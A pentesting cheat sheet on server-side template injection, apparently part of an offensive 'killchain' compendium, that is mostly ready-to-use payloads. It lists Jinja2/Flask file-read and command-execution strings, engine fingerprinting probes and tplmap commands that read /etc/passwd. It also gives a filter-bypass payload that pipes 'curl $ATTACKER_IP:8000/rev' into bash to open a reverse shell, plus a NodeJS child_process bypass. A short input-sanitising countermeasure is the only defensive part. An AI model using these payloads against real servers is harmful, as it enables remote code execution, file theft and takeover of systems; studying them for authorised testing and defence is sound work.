killchain-compendium/Exploits/Web/SSTI.md

1.8 KiB

Server Side Template Injection (SSTI)

Pass in parameters to control the template.

Usage

  • Sanity test
{{2+2}} 
  • Flask template LFI
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
  • Executing commands
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
  • RCE on server
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}

Identification of Template Engine

Identify via payload checking

  • Smarty: a{*comment*}b
  • Mako: ${"z".join("ab")}
  • Twig or Jinja2
{{7*7}}
{{7*'7'}}

Tools

TPlmap

git clone https://github.com/epinna/tplmap.git
pip2 install -r requirements
HTTP Method Parameter
GET tplmap -u <url>/?<vulnparam>
POST tplmap -u <url> -d '<vulnparam>'
  • Using remote command
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"

Countermeasure

  • Remove everything in user input but alnum. Passing data, not data to f-string.
input = re.sub("[^A-Za-z0-9]", "", input)
template = "User input is {{ input }}"
return render_template_string(template, input=input)

Bypass

  • Save reverse shell as rev
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}}

NodeJS

If functions like require are blacklisted and are unusable, use built-in objects of NodeJS. Bypass by using process can be done instead, e.g. process.mainModule.require('child_process').execSync('id');.